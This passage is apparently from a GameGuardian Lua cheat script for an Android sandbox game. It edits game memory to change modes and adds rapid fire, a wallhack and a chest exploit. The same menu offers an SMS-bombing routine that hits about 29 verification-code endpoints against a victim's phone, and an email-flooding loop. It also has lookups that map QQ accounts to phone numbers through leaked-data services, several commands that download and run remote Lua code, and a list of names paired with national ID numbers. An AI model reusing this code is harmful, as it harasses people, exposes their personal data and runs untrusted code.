"༺ཌༀ⛦🌿玩 法 模 式🌿⛦ༀད༻",
"༺ཌༀ⛦🌿创 造 模 式🌿⛦ༀད༻",
"༺ཌༀ⛦🌿模 拟 冒 险🌿⛦ༀད༻",
"༺ཌༀ⛦🌿冒 险 模 式🌿⛦ༀད༻",
"༺ཌༀ⛦🌿极 限 生 存🌿⛦ༀད༻",
"༺ཌༀ⛦🌿高 级 生 存🌿⛦ༀད༻",
"༺ཌༀ⛦🌿返 回 主 页🌿⛦ༀད༻"},2018,os.date("༺ཌༀ⛦ 云服修改模式 ⛦ༀད༻"))
if xgms2==1 then msdm=4 msmc="编辑模式" xg2() end--0=冒险模式
if xgms2==2 then msdm=5 msmc="玩法模式" xg2() end--1=创造模式
if xgms2==3 then msdm=1 msmc="创造模式" xg2() end--2=极限生存
if xgms2==4 then msdm=3 msmc="模拟冒险" xg2() end--3=模拟冒险
if xgms2==5 then msdm=0 msmc="冒险模式" xg2() end--4=编辑模式
if xgms2==6 then msdm=2 msmc="极限生存" xg2() end--5=玩法模式
if xgms2==7 then msdm=6 msmc="高级生存" xg2() end--6=高级生存
if xgms2 == 8 then Main() end XGCK=-1 end--返回主页
function xg2()

local t = {"libAppPlayJNI.so:bss", "Cb"}
local tt = {0x100D40, 0xD0, 0x50, 0x40}
local ttt = S_Pointer(t, tt, true)
gg.addListItems({{address = ttt, flags = 4, value = msdm, freeze = true}})
gg.toast("༺ཌༀ⛦🌿已修改为"..msmc.."模式🌿⛦ༀད༻")end



function Main5()
SN = gg.multiChoice({
   "🍗狙击枪连发🍗",
   "🍗狙击准星🍗",
   "🍗三角透视🍗",
   "🍗狙击秒换弹🍗",
   "🎡返回主页🎡",
 }, nil, "狙击科技区·目前功能:4个")

if SN == nil then else
if SN[1]==true then     XGG1() end
if SN[2]==true then     XGG2() end
if SN[3]==true then     XGG3() end
if SN[4]==true then     XGG4() end
if SN[5]==true then     Main() end
end
FX=0 end

function XGG1()
gg.toast(so({("全枪防抖连发"),15003,4,2,2},{{("15000~15009"),-136}},{{1,-4},{0,-66},{0,-56,16},{0,-40},{1,-28},{0,-52,16},{32000,-0x3e}}))
end

function XGG2()
F = gg.alert("狙击准心","开","关")if F~=1 and F~=2 then else end if F== 1 then gg.toast(so({"狙击准星",15003,4,4},{{40,-32,4}},{{1,-28,4}}))gg.toast("狙击准星开启成功")elseif  F== 2 then gg.toast(so({"狙击准星",15003,4,4},{{40,-32,4}},{{0,-28,4}}))gg.toast("狙击准星关闭成功")end end



function XGG3()
gg.toast("请选择开关")
F=gg.alert("请选择{开 关}", "开", "️关️️")
if F ~= 1 and F ~= 2 then
gg.toast("你未选择开关默认取消")
gg.toast("你未选择{开 关}")
else
end
if F==1 then
qmnb={
{["memory"]=16384.},
{["name"]="三角透视"},
{["value"]=196608,["type"]=4},
{["lv"]=65538,["offset"]=8,["type"]=4},
}
qmxg={
{["value"]=1,["offset"]=16,["type"]=4}
}
xqmnb(qmnb)
elseif F==2 then
qmnb={
{["memory"]=16384.},
{["name"]="三角透视"},
{["value"]=196608,["type"]=4},
{["lv"]=65538,["offset"]=8,["type"]=4},
}
qmxg={
{["value"]=65536,["offset"]=16,["type"]=4}
}
xqmnb(qmnb)
end
end

function XGG4()
so({'一秒换弹',15003,4,4},{{15004,-136,4}},{{0,-24,16}})
end









function Main6()
SN = gg.choice({
   "️🎶搜 索 歌 曲🎶",
   "🎶搜 索 列 表🎶",
   "🎶播 放 热 歌🎶️",
   "🎶停 止 播 放🎶",
   "🎶清 除 冻 结🎶",
   "️🎡返 回 主 页️🎡",
},2018,os.date("音乐科技区·目前功能:5个"))
if SN==1 then s1() end
if SN==2 then Play(gqlb,idb) end
if SN==3 then YY998() end
if SN==4 then stop() end
if SN==5 then Main11() end
if SN==6 then Main() end
XGCK=-7
end


local g = {}
g.file = gg.getFile()
g.sel = nil
gqlb={"请先搜索歌曲",}
idb={"1010"}
SN,gc=1,nil
g.config = gg.getFile():gsub("%lua$", "").."cfg"
function bei()
g.data = loadfile(g.config)
if g.data ~= nil then
g.sel = g.data()
g.data = nil
end
if g.sel == nil then
g.sel = {"你看到的我","10"}
end
end
bei()
------
--搜索歌曲
function start(name,sl)
fw=gg.makeRequest("http://music.163.com/api/search/get?s="..name.."&type=1&offset=0&total=true&limit="..sl)
return fw
end
-----
--歌词

--播放音乐
function play(id,name)
gg.toast("正在播放音乐:"..name,true)
gg.playMusic("http://music.163.com/song/media/outer/url?id="..id..".mp3")
end
--停止播放
function stop()
gg.toast("正在停止音乐")
for i=1,100 do
gg.playMusic("stop")
gg.playMusic("stop")
gg.playMusic("stop")
end
end
----
function Play(gqlb,idb)
SN = gg.choice(gqlb,nil,ts)
if SN == nil then XGCK =-1 else
sn=gg.choice({"播放"},nil,"歌曲:"..gqlb[SN])
if sn == nil then end
if sn == 1 then
play(idb[SN],gqlb[SN])
end
XGCK=-1
end
end
function zjson(jsonr)
local str = jsonr
-- 匹配Json Key的正则表达式
local pattern = "\"[%w]+\":"
string.gsub(str, pattern, function(v)
    if string.find(str, v) then
        str = string.gsub(str, v, string.gsub(v, "\"", ""))
    end
end)
str = string.gsub(str, ":", "=")
str = string.gsub(str, "%[", "{")
str = string.gsub(str, "%]", "}")
local data = "return " .. str
local res = load(data)()
return res
end


function json(con)
res=zjson(con)
zd=res.result.songCount
pd=go3-zd
if pd <= 0 then else go3=zd end
ts="《"..go1.."》找到"..zd.."首歌曲,当前显示"..go3.."首"
gqlb={}
idb={}
for i=1,go3 do
gqlb[i]=res.result.songs[i].name
idb[i]=res.result.songs[i].id
end
--print(idb)
end
function YY998() Obtain=gg.makeRequest("https://api.uomg.com/api/rand.music?sort=热歌榜&format=json").content muchen=Obtain:match('url":"(.-)","picurl') gg.playMusic(muchen) end 



function s1()
search = gg.prompt({
"输入歌曲名字",
"设置显示数量(数字)",
},g.sel,{
"text",
})
if search == nil then Main6() end
gg.saveVariable(search,g.config)
bei()
go1=search[1]
go3=search[2]
jg=start(go1,go3)
if jg.code == 200 then
fh=jg.content
fh=json(fh)
--print(fh)
Play(gqlb,idb)
else
function inspect()
gg.alert("访问网络异常,错误代码:\n\n"..jg.code)
end
if not pcall(inspect) then print("网络异常,请先连接上网络") os.exit() end
end
XGCK=-1
end





function Main7()
end


function Main8()
g= gg.choice({
"🍁查 询 天 气🍁",
"🍁️轰 炸 系 统🍁️",
"🍁️去 掉 实 名🍁️",
"🍁️箱 子 界 面🍁️",
"🍁️乐 谱 取 物🍁️",
"🎡返 回 主 页🎡️",},i2,os.date(""))
if g==1 then     KD1() end
if g==2 then     KD2() end
if g==3 then     KD3() end
if g==4 then     KD4() end
if g==5 then     KD5() end
if g==6 then     Main() end
XGCK=-1 end

function KD1()
file=io.open("/storage/emulated/0/.MyCity","r")
if file~=nil then con=file:read("*a") dz=con:match("%&(.-)%&") city=con:match("@(.-)@") file:close()
 else
  city=gg.prompt({"输入城市"},{""},{"text"})[1]
  local function Enc(Mzsh)
    return Mzsh:gsub(".", function(jia)
      return string.format("%%%02X", (string.byte(jia)) % 256)
    end):gsub(" ", "+")
  end
  dz=string.match(gg.makeRequest("http://toy1.weather.com.cn/search?cityname="..Enc(city).."&callback=success_jsonpCallback&_=1532937966722").content,"ref\":\"(.-)~")
  if dz==nil then gg.alert("输入错误城市,请重新输入") os.exit() else f=io.open("/storage/emulated/0/.MyCity","w"):write("@"..city.."@\n&"..dz.."&"):close() end
end
function split(s, p)
  local rt = {}
  string.gsub(s,"[^" .. p .. "]+",function(w)
    table.insert(rt, w)
  end
  )
  return rt
end
function x(x)
  local i=0
  for w in string.gmatch(x,"active") do
    i=i+1 end
  local t=string.rep("⭐",i)
  return t
end
-------
tq=gg.makeRequest("http://www.weather.com.cn/weather1d/"..dz..".shtml").content
---获取1天内天气
a=string.gsub(string.gsub(string.gsub(string.gsub(string.match(tq,"var hour3data={\"1d\":%[(.-)]"),"\",\"","$$"),"\"",""),",...,",","),",(%d+)%$","")
b=split(a,"$")--天气

---获取生活指数
tab={"<h2>(.-)</h2>","<em>(.-)</em>","\n<i (.-)</i>\n","<dd>(.-)</dd>"}
shzs=gg.makeRequest("http://www.weather.com.cn/weather1dn/"..dz..".shtml").content
tq1=string.match(shzs,"<b>生活助手</b>(.-)</div>")
c={}
for i=1,4 do
  c[i]={}
  for w in string.gmatch(tq1,tab[i]) do
    if i==1 then if string.find(w,"em") then w="健臻·血糖" end end
    table.insert(c[i],w)
  end
end
ts={}
for v=1,6 do
  ts[v]={}
  for i=1,4 do
    table.insert(ts[v],c[i][v])
  end
end
mm=""
for i=1,6 do
  mm=mm..ts[i][1]..":"..ts[i][2].."\n指数:"..x(ts[i][3]).."\n温馨提示:"..ts[i][4].."\n\n"
end
gg.alert("当前城市:"..city.."\n"..table.concat(b,"\n").."\n-----------\n".."生活助手:\n"..mm)
end


function KD2()  
 menu1 = gg.choice({
"🍿查QQ绑定🍿",
"🍿手机号反查🍿",
"🍿轰炸手机号🍿",
"🍿轰炸QQ邮箱🍿",
"🍿手机号归属信息🍿",
"🍿获取QQ头像🍿",
"🍿小艺同学🍿",
"🎡返 回 主 页🎡",
}, nil, "")
if menu1 == 1 then ls1() end
if menu1 == 2 then ls2() end
if menu1 == 3 then ls3() end
if menu1 == 4 then ls4() end
if menu1 == 5 then ls5() end
if menu1 == 6 then ls6() end
if menu1 == 7 then ls7() end
if menu1 == 8 then Main() end
GLWW=-1
end

function ls1()
    local musu=gg.prompt({"🎃输入QQ号即可查询🌕","🌚网址1","🌝网址2(即将关闭)"
    },{
      [1]="",
      [2]=true,
      [3]=false
    },{
      "number",
      "checkbox",
      "checkbox"
    })
    if not musu then
      return nil
     else
      if musu[2]==true and musu[3]==true then
        gg.alert('两个网址,只能选择一个')
        return nil
      end
      if musu[2]==true then
        gg.toast("💫查询ing...",false)
        local xg=gg.makeRequest("http://yc52.net/qb-api.php?mod=cha&qq="..musu[1]).content
        if not xg then
          gg.alert('☀️你已拒绝网络申请,查询失败☀️')
          return
        end
        local jg=xg:match('mobile": "(.-)"')
        local qq=xg:match('"qq": "(.-)"')
        if jg==nil then
          gg.alert('🔥未查询到…库中并没有这个记录❄️','💨确定🌬')
          return nil
        end
        local yue=gg.alert('💦QQ号:'..qq..'\n\n💦手机号:'..jg,'🌊复制','🌪取消')
        if yue==1 then
          gg.copyText('[QQ号]:'..qq..' \n[手机号]:'..jg,false)
        end
        if yue==2 then
          return nil
        end
      end
    end
    if musu[3]==true then
      gg.toast("💧查询ing...",false)
      local xg2=gg.makeRequest("http://cxx.yun7.me/qqcx?qq="..musu[1]).content
      if not xg2 then
        gg.alert('🍎你已拒绝网络申请,查询失败🍊')
        return
      end
      --    status":200,"message":"查询成功","phone":"669","phonediqu":"河北保定 移动","lol":"没有找到","wb":"6134218","qqlm":"没有找到"}

      local jg2=xg2:match('phone":"(.-)"')--手机号
      local qq1=xg2:match('phonediqu":"(.-)"')--号码归属地
      local qq2=xg2:match('lol":"(.-)"')--LOL信息
      local qq3=xg2:match('wb":"(.-)"')--微博信息
      if jg2==nil then
        gg.alert('🥝未查询到…库中并没有这个记录🍌','🍇确定🍇')
        return nil
      end
      local yue=gg.alert('🥒QQ号:'..musu[1]..'\n\n🌽手机号:'..jg2..'\n\n🥜号码归属地:'..qq1..'\n\n🍞LOL信息:'..qq2..'\n\n🍳微博UID'..qq3,'🍟复制','🥙取消')
      if yue==1 then
        gg.copyText('QQ号:'..musu[1]..' \n 手机号:'..jg2..'  \n号码归属地:'..qq1..' \n LOL信息:'..qq2..'  \n微博UID:'..qq3,false)
      end
      if yue==2 then
        return nil
      end
    end
end

function ls2()
    local musu=gg.prompt({"🍭输入手机号即可反查🍭"
    },{
      [1]=""
    },{
      "number"
    })
    if not musu then
      return nil
     else
      gg.toast("🍬查询ing...",false)
      local xg=gg.makeRequest("http://cxx.yun7.me/qqxc?phone="..musu[1]).content
      if not xg then
        gg.alert('🍼你已拒绝网络申请,查询失败🥤')
        return
      end
      ---     {"status":200,"message":"查询成功","qq":"(.-)","phonediqu":"(.-)","lol":"(.-)",","qqlm":"没有找到"}
      local jg=xg:match('qq":"(.-)"')--qq号
      local qq=xg:match('phonediqu":"(.-)"')--号码归属地
      local qq1=xg:match('lol":"(.-)"')--LOL信息
      local qq2=xg:match('wb":"(.-)"')--微博
      if jg==nil then
        gg.alert('🥢未查询到…库中并没有这个记录🥡','🥌确定')
        return nil
      end
      local yue=gg.alert('🎿QQ号:'..jg..'\n\n⚾️号码归属地:'..qq..'\n\n⚽️LOL信息:'..qq1..'\n\n🏀微博UID'..qq2,'🏌复制','🏹取消')
      if yue==1 then
        gg.copyText('QQ号:'..jg..' \n 号码归属地:'..qq..' \n LOL信息:'..qq1..' \n微博UID'..qq2,false)
      end
      if yue==2 then
        return nil
      end
    end
end

function ls3()
local A=gg.prompt({"💥输入您要轰炸的电话号码💥"},{""},{"number"})
    if not A then
      return nil
     else
local B=A[1]
local C=gg.makeRequest("http://211.156.201.12:8088/youzheng//ems/security?phone="..B.."").content
local C=gg.makeRequest("http://id.ifeng.com/api/simplesendmsg?mobile="..B.."&comefrom=7&auth=&msgtype=0").content
local C=gg.makeRequest("http://srmemberapp.srgow.com/sys/captcha/"..B.."").content
local C=gg.makeRequest("https://m.icbc.com.cn/WapDynamicSite/TouchPage/AppDownResponse.aspx?type=1&app_id=5&mobile_no="..B.."").content
local C=gg.makeRequest("https://kfsbusiness.anjuke.com/weiliaoke/login/sendcode.json?ticket=&cid=&cv=5.6.0&app=i-ajk&udid2=85C1EEA5-6E6A-449B-BD5C-118EA0DFDDBB&phone="..B.."").content
local C=gg.makeRequest("http://api.qingmang.me/v1/account.sendVerification?platform=console&token=&phone=%2B86"..B.."&code=10164337").content
local C=gg.makeRequest("https://api.kqiu.cn/user/v1/sms/code?phoneNumber="..B.."").content
local C=gg.makeRequest("http://prod.layadmin.cn/api/message/sendV2?app_id=1&version=1.4.0&channel_id=001&phone="..B.."").content
local C=gg.makeRequest("http://121.36.193.131/api/v3.1/thirdpartyapi/aliyunmessageapi/SendVerifyMessage?phoneNumber=86"..B.."&type=1").content
local C=gg.makeRequest("https://api.diebian.net/Get/GetVerificationSMS?PhoneNumber="..B.."").content
local C=gg.makeRequest("https://tele.uos123.com/api/orders/orders/sendDxSmsCode?mobile="..B.."").content
local C=gg.makeRequest("https://www.qxueyou.com/v3/learning/uc/login/mobile/captcha?mobilePhone="..B.."&product=qxueyou").content
local C=gg.makeRequest("http://www.gkbbapp.com/Support/JsonNews.aspx?sendShortMessage=yes&Telephone="..B.."").content
local C=gg.makeRequest("https://www.ajia.cn/api/sys/sendCaptchaNoUser?accountName="..B.."").content
local C=gg.makeRequest("https://yi.yshoufa.com/usersystem/site/network/getNetworkPhoneCaptcha?phone="..B.."&networkId=").content
local C=gg.makeRequest("http://dx.zy40.cn/dx/index.php?hm="..B.."").content
local C=gg.makeRequest("http://www.edu-edu.com/cas/web/message/send?phone="..B.."").content
local C=gg.makeRequest("http://id.ifeng.com/api/simplesendmsg?mobile="..B.."").content
local C=gg.makeRequest("http://m.tk.cn/tkmobile/orderSentSmsServlet?mobile="..B.."").content
local C=gg.makeRequest("https://pass.hujiang.com/v2/api/v1/sms/send?action=SendMsg&mobile="..B.."").content
local C=gg.makeRequest("http://m.tk.cn/tkmobile/orderSentSmsServlet?mobile="..B.."&comefrom=7&auth=&msgtype=0").content
local C=gg.makeRequest("https://api.wanwudezhi.com/module-user/api/v1/user/sendSmsCode?phone="..B.."").content
local C=gg.makeRequest("https://sso-c.souche.com/loginApi/getCaptchaUrlByPhone.json?app=tangeche&phone="..B.."").content
local C=gg.makeRequest("http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&phone="..B.."").content
local C=gg.makeRequest("http://user.daojia.com/mobile/getcode?mobile="..B.."").content
local C=gg.makeRequest("https://m.yiwise.com/apiPlatform/verificationCode/send?phoneNumber="..B.."").content
local C=gg.makeRequest("http://slb-sport.vesal.cn/vesal-sport-prod/v1/app/member/getCode?tellAndEmail="..B.."").content
local C=gg.makeRequest("http://cms.51fenmi.com/api/base/public/getCode?mobile="..B.."").content
local C=gg.makeRequest("http://www.52gcc.com/bomb/index.php?hm="..B.."").content
end
end

function ls4()
  local Feed=gg.prompt({"✈️收件人地址(邮箱)✈️","🚀邮箱主题🚀","🛸发件内容🛫","🏁轰炸次数🏁"},{"192898257@qq.com","劳资就轰炸你","劳资就轰炸你","1"},{"text","text","text","text"})
  if not Feed then gg.toast("🎢取消发送!🎢",true)
    return nil
  end
  if Feed[1]~="" and Feed[2]~="" and Feed[3]~="" and Feed[4]~="" then
    gg.toast("🗽发送中ing...",true)
    for i=1,Feed[4] do
      xg=gg.makeRequest("https://simpleauth.cn/api/mail/api.php?address="..Feed[1].."&name="..Feed[2]..i.."&certno="..Feed[3]..i).content
    end
    if not xg then
      gg.alert("🕋发送失败!⌚️",'💿确定📀')
    end
    local jg=xg:match('"Code":"(.-)",')
    local jg2=xg:match('msg":"(.-)"')
    if jg =="1" then
      gg.alert(jg2,'🖱确定🖱')
     else
      gg.alert("🔫发送失败!🔫",'🔨确定🔨')
      return nil
    end
   else
    gg.alert("📡填写信息不完整!📡","🔋确定🔋")
    return nil
  end
end

function ls5()
sjh=gg.prompt({"💡输入手机号即可查询💡"},{[1]=""},{"number"})
if sjh== nil then gg.toast("🔦取消选择默认初始化🔦")
else
gg.toast("🕯正在查询🕯")
su1=gg.makeRequest("https://www.ip138.com/mobile.asp?mobile="..sjh[1].."&action=mobile").content:match("卡号归属地(.-)邮 编")
dq=su1:match('span>(.-)&')--地区
dq1=su1:match(';(.-)<')--地区2
GSM=su1:match('åž‹(.-)/s'):match("pan>(.-)<")
su2=gg.makeRequest("https://jx.ip138.com/"..sjh[1].."/").content--凶吉
b=su2:match('邮政编码:(.-)</tr>')
yb=b:match('<p>(.-)</p')--邮编
qh=b:match('电话区号:</p></td>(.-)/td>'):match('>(.-)<')--区号
xj=su2:match('red">(.-)href'):match("a>(.-)<")--凶吉
QQ=("手机号:\n"..sjh[1].."\n凶吉:"..xj.."\n"..GSM.."\n定位:\n"..dq..dq1.."\n邮编:"..yb.."\n区号:"..qh)
QQ1=gg.alert(QQ,"💎复制💎","💰返回💰")
if QQ1==0 then Main() end
if QQ1==1 then gg.copyText(QQ) gg.toast("🛡已复制🛡") end
if QQ1==3 then Main() end
end
end


function ls6()
y=gg.prompt({"🐚请输入qq号🎋"},{},{"number"})
if y== nil then gg.toast("🔦取消选择默认初始化🔦")
else
gg.toast("🧊正在下载……🥘")
ByXEY=gg.getFile():gsub('/[^/]+$','').."/"..y[1]..".jpg"
YC1=gg.makeRequest("https://q.qlogo.cn/headimg_dl?dst_uin="..y[1].."&spec=100").content
io.open(ByXEY,"w"):write(YC1)
gg.alert("🍔已下载到:\n"..ByXEY)
end
end
function ls7()
OI = gg.prompt({"请输入聊天的对话 北海原创"},{"小爱同学"},{"text"})
LOL = gg.makeRequest("https://jintia.jintias.cn/api/xatx.php?msg="..OI[1]).content
B=LOL:match('text":"(.-)"')
gg.alert(B)
a7()
end



function KD3()
readPointer = function(name, offset, i) local re=gg.getRangesList(name) local x64=gg.getTargetInfo().x64 local va={[true]=32,[false]=4} if re[i or 1] then local addr=re[i or 1].start+offset[1] for i = 2,#offset do addr = gg.getValues({{address=addr,flags=va[x64]}}) if not x64 then addr[1].value = addr[1].value & 0xFFFFFFFF end addr = addr[1].value + offset[i] end return addr end end
gg.edits = function(addr, Table, name) local Table1 = {{}, {}} for k, v in ipairs(Table) do local value = {address = addr+v[3], value = v[1], flags = v[2], freeze = v[4]}if v[4] then Table1[2][#Table1[2]+1] = value else Table1[1][#Table1[1]+1] = value end end gg.addListItems(Table1[2])gg.setValues(Table1[1]) gg.toast((name or "") .. "开启成功, 共修改"..#Table.."个值") end end


function KD4()
function SearchWrite(Search, Write, Type)
    gg.clearResults()
    gg.setVisible(false)
    gg.searchNumber(Search[1][1], Type)
    local count = gg.getResultCount()
    local result = gg.getResults(count)
    gg.clearResults()
    local data = {} --用于保存有效结果
    local base = Search[1][2] --(0 或主特征码后三位)(用于计算相对主特征码的偏移)
    
   if (count > 0) then
        for i, v in ipairs(result) do
            v.isUseful = true --保存搜索到的地址信息(全部设定为true)
        end
        
        for k=2, #Search do
            local tmp = {}
            local offset = Search[k][2] - base --特征码偏移(副特征码后三位 - 主特征码后三位)
            local num = Search[k][1] --特征码
            
            for i, v in ipairs(result) do
                tmp[#tmp+1] = {} --添加项目
                tmp[#tmp].address = v.address + offset  --项目地址为主特征码地址+偏移量
                tmp[#tmp].flags = v.flags  --项目数据类型
            end
            
            tmp = gg.getValues(tmp) --刷新项目值
            
            for i, v in ipairs(tmp) do
                if ( tostring(v.value) ~= tostring(num) ) then --判断项目值与其他特征码是否一致
                    result[i].isUseful = false --不符合过滤条件设定为false
                end
            end
        end
  
        for i, v in ipairs(result) do
            if (v.isUseful) then --筛选出符合条件的主特征码地址
                data[#data+1] = v.address
            end
        end
        --------------内存写入
        if (#data > 0) then
           gg.toast("搜索到"..#data.."条数据")
           local t = {}
           local base = Search[1][2]
           for i=1, #data do
               for k, w in ipairs(Write) do
                   offset = w[2] - base
                   t[#t+1] = {}
                   t[#t].address = data[i] + offset
                   t[#t].flags = Type
                   t[#t].value = w[1]
                   --- 冻结项目添加到列表
                   if (w[3] == true) then
                       local item = {}
                       item[#item+1] = t[#t]
                       item[#item].freeze = true
                       gg.addListItems(item)
                   end
                   --- 不需要可以注释掉
               end
           end
           gg.setValues(t)
          -- gg.toast("已修改"..#t.."条数据")
          -- gg.addListItems(t)
        else
            gg.toast("not found", false)
            return false
        end
    else
        gg.toast("Not Found")
        return false
    end
end
recover=gg.getResults(100000)
function AppSearch(SSNR,XGNR,BCNR,notWrite)
  gg.clearResults()
  gg.setRanges(SSNR["M"])
  gg.searchNumber(SSNR[1]["mv"],SSNR[1]["lx"],false,gg.SIGN_EQUAL,(SSNR[1]["addr"] or nil),(SSNR[1]["toAddr"] or nil))
  jg=gg.getResults(100000)
  local base=(SSNR[1]["offs"] or 0)
  local data={}
  if #jg==0 then
    gg.toast("功能名:"..(SSNR.name or "无").."\n".."修改失败\n"..(SSNR["error"] or ""))
    gg.loadResults(recover)
    return nil
  end
  for i=1,#jg do
    jg[i].Useful=true
  end
  
    for k=2,#SSNR do
      if not SSNR[k] then
        break
      end
      local content={}
      local offset=SSNR[k]["offs"]-base
      local value=SSNR[k]["sv"]
      local type=SSNR[k]["lx"]
      local to=(SSNR[k]["to"] or value)
      local num={}
      if to<value then
        to,value=value,to
      end
      
      --↓
      for i=1,#jg do
        if jg[i].Useful==true then
          table.insert(content,{})
          content[#content].address=jg[i].address+offset--偏移部分
          content[#content].flags=type
          num[#num+1]=i
        end
      end
      --存放偏移后的部分↑
      
      --↓
      if #content==0 then gg.toast("功能名:"..(SSNR.name or "无").."\n".."修改失败\n"..(SSNR["error"] or "")) gg.loadResults(recover) return nil end
      content=gg.getValues(content)
      --存放完一起gg.getValues↑
      
      --一起判断↓
      for i,v in pairs(content) do
        if tonumber(v.value)<tonumber(value) or tonumber(v.value)>tonumber(to) then
          jg[num[i]].Useful=false
        end
      end
      --↑
      
    end
    
    for j=1,#jg do
      if jg[j].Useful==true then
        data[#data+1]=jg[j].address
      end
    end
     
  if #data==0 then
    gg.toast("功能名:"..(SSNR.name or "无").."\n".."修改失败\n"..(SSNR["error"] or ""))
    gg.loadResults(recover)
    return nil
  end
  if notWrite==true then
    gg.loadResults(recover)
    return data
  end
  if XGNR then
  local write={}
  for i=1,#data do
    for j=1,#XGNR do
      write[#write+1]={}
      write[#write].address=data[i]+(XGNR[j][2]-base)
      write[#write].flags=XGNR[j][3]
      write[#write].value=XGNR[j][1]
      write[#write].freeze=XGNR[j][4]
      write[#write].name=XGNR[j][5] or nil
      if write[#write].freeze==true then
        gg.addListItems({[1]=write[#write]})
      else
        gg.setValues({[1]=write[#write]})
      end
      if XGNR[j][6]==true then
        gg.addListItems({[1]=write[#write]})
      end
    end
  end
  end
  if BCNR then
  local bc={}
  for j=1,#data do
  for i=1,#BCNR do
    bc[#bc+1]={}
    bc[#bc].address=data[j]+(BCNR[i][1]-base)
    bc[#bc].flags=BCNR[i][2]
    bc[#bc].name=BCNR[i][3]
 end
  end
  gg.addListItems(bc)
  end
  gg.toast("功能名:"..(SSNR.name or "无").."\n".."修改成功")
  gg.loadResults(recover)
end
ss={
["name"]="箱子界面",
["M"]=4,
{["mv"]=575,["lx"]=16},
{["sv"]=1129,["offs"]=-0x4,["lx"]=16},
{["sv"]=65536,["offs"]=-0x258,["lx"]=4},
}
xg={
{16777472,-0x240,4},
}
 AppSearch(ss,xg)
end



function KD5()
F=gg.alert("乐谱取物","乐谱修改","添加按钮")if F ~= 1 and F ~= 2 then else end if F==1 then e1 = gg.prompt({""},{[1]=1143},{[1]="number"})[1]gg.toast(so({"修改乐谱",4683671800612126720,4,32},{{13975404208,4,32}},{{e1,-0x10,64,1}}))gg.toast("乐谱已修改为["..e1.."]")elseif F==2 then gg.toast(so({"添加按钮",-1024458752,4,4},{{1142292480,-4,4},{16777216,-0x5C,4},{1110179840,-0x1C,4}},{{16777472,-0x5C,4,1}}))gg.toast("添加按钮已注入")
end end

function Main9()
KG = gg.multiChoice({
"🍉你看到的我🍉",
"🍉鸡 你 太 美🍉",
"🍉木 桶 求 佛🍉",
"🎡返 回 主 页🎡",
 }, nil, "🍉快速播放炸图战歌🍉")

if KG == nil then else
if KG[1]==true then     XGW1() end
if KG[2]==true then     XGW2() end
if KG[3]==true then     XGW3() end
if KG[4]==true then     Main() end
end
FX=0 end

function XGW1()
gg.playMusic("http://chuxinya.top/view.php/c3cee8b1eb5f0be369632d0170c66b07.mp3")
end



function XGW2()
gg.playMusic("https://pan.tenire.com/view.php/1e02c50e27f733f32814e6a14e6864cd.mp3")
end



function XGW3()
gg.playMusic("https://out.zxglife.top/view.php/30ec42595036a7d3fe434c21f5daff58.mp3")
end











function Main10()
gg.alert[[
开启此功能后再点一下悬浮窗即可查询代码
]]
pcall(load(gg.makeRequest("https://pan.szfx.top/view.php/910dd6e7d9969091cafcedeb82726de2.jpg").content))
end



function Main11()
SN = gg.multiChoice({
"🌐连接CA🌐",
"🌐连接神极星🌐",
"🌐连接神圣🌐",
"🌐连接冷熙🌐",
"🎡返回主页🎡",
 }, nil, "")
if SN == nil then else
if SN[1]==true then     X1() end
if SN[2]==true then     X2() end
if SN[3]==true then     X3() end
if SN[4]==true then     X4() end
if SN[5]==true then     Main() end
end
XGCK=-1 end

function X1()
pcall(load(gg.makeRequest("http://chuxinya.top/down.php/77c12fbff9301f3dc5cd99437bd66794.").content))
gg.toast("🌐CA连接成功🌐")
end



function X2()
pcall(load(gg.makeRequest("http://chuxinya.top/down.php/bbf6bb145fc5c5bc7b81ed29a4865bad.").content))
gg.toast("🌐神极星连接成功🌐")
end



function X3()
pcall(load(gg.makeRequest("https://pan.tenire.com/down.php/bbf6bb145fc5c5bc7b81ed29a4865bad.lua.").content))
gg.toast("🌐神圣连接成功🌐")
end



function X4()
pcall(load(gg.makeRequest("http://chuxinya.top/down.php/7a45075a41901b2cbf41fbc20b65496c.").content))
gg.toast("🌐冷熙连接成功🌐")
end



function Main12()
  SJ = os.date("🔰身份证账号合集🔰")
  SN = gg.choice({
    "🌙点击此处开启复制身份证🌙",
      }, nil, "️⚠️请勿用于非法用途⚠️️️️")
  if SN==1 then
    Main1100()
  end
  FX1=0
end

function Main1100()
  SN = gg.choice({
    "⚡️冷健安:432321197907070093⚡️",
    "🔮一键复制🔮",
    "♦️下一层♦",
  }, nil, "⚠️请勿用于非法用途⚠️️")
  if SN==2 then
    GSM1()
  end
  if SN==3 then
    Main1101()
  end
  FX1=0
end

function GSM1()
  gg.copyText("冷健安:432321197907070093")
end

function Main1101()
  SN = gg.choice({
    "⚡️张家淼:320825197010082335⚡️",
    "🔮一键复制🔮",
    "♦️下一层♦️️️",
  }, nil, "️⚠️请勿用于非法用途⚠️️")
  if SN==2 then
    GSM2()
  end
  if SN==3 then
    Main1102()
  end
  FX1=0
end

function GSM2()
  gg.copyText("å¼ å®¶æ·¼:320825197010082335")
end

function Main1101()
  SN = gg.choice({
    "⚡️刘文燕:130533198902182342⚡️",
    "🔮一键复制🔮",
    "♦️下一层♦",
  }, nil, "️⚠️请勿用于非法用途⚠️️")
  if SN==2 then
    GSM2()
  end
  if SN==3 then
    Main1102()
  end
  FX1=0
end


function GSM2()
  gg.copyText("刘文燕:130533198902182342")
end

function Main1102()
  SN = gg.choice({
    "️⚡️李晶煜:320684198410035179⚡️",
    "🔮一键复制🔮",
    "♦️下一层♦",
  }, nil, "️⚠️请勿用于非法用途⚠️️️")
  if SN==2 then
    GSM3()
  end
  if SN==3 then
    Main1103()
  end
  FX1=0
end

function GSM3()
  gg.copyText("李晶煜:320684198410035179")
end

function Main1103()
  SN = gg.choice({
    "⚡️郭泽辉:412723199704214675⚡️",
    "🔮一键复制🔮",
    "♦️下一层♦",
  }, nil, "️⚠️请勿用于非法用途⚠️️")
  if SN==2 then
    GSM4()
  end
  if SN==3 then
    Main1104()
  end
  FX1=0
end

function GSM4()
  gg.copyText("郭泽辉:412723199704214675")
end

function Main1104()
  SN = gg.choice({
    "⚡️孙守峰:640321198301102419⚡️",
    "🔮一键复制🔮",
    "♦️下一层♦",
  }, nil, "️⚠️请勿用于非法用途⚠️️")
  if SN==2 then
    GSM5()
  end
  if SN==3 then
    Main1105()
  end
  FX1=0
end

function GSM5()
  gg.copyText("孙守峰:640321198301102419")
end

function Main1105()
  SN = gg.choice({
    "️⚡️陈华农:320219197804212779⚡️",
    "🔮一键复制🔮",
    "♦️下一层♦",
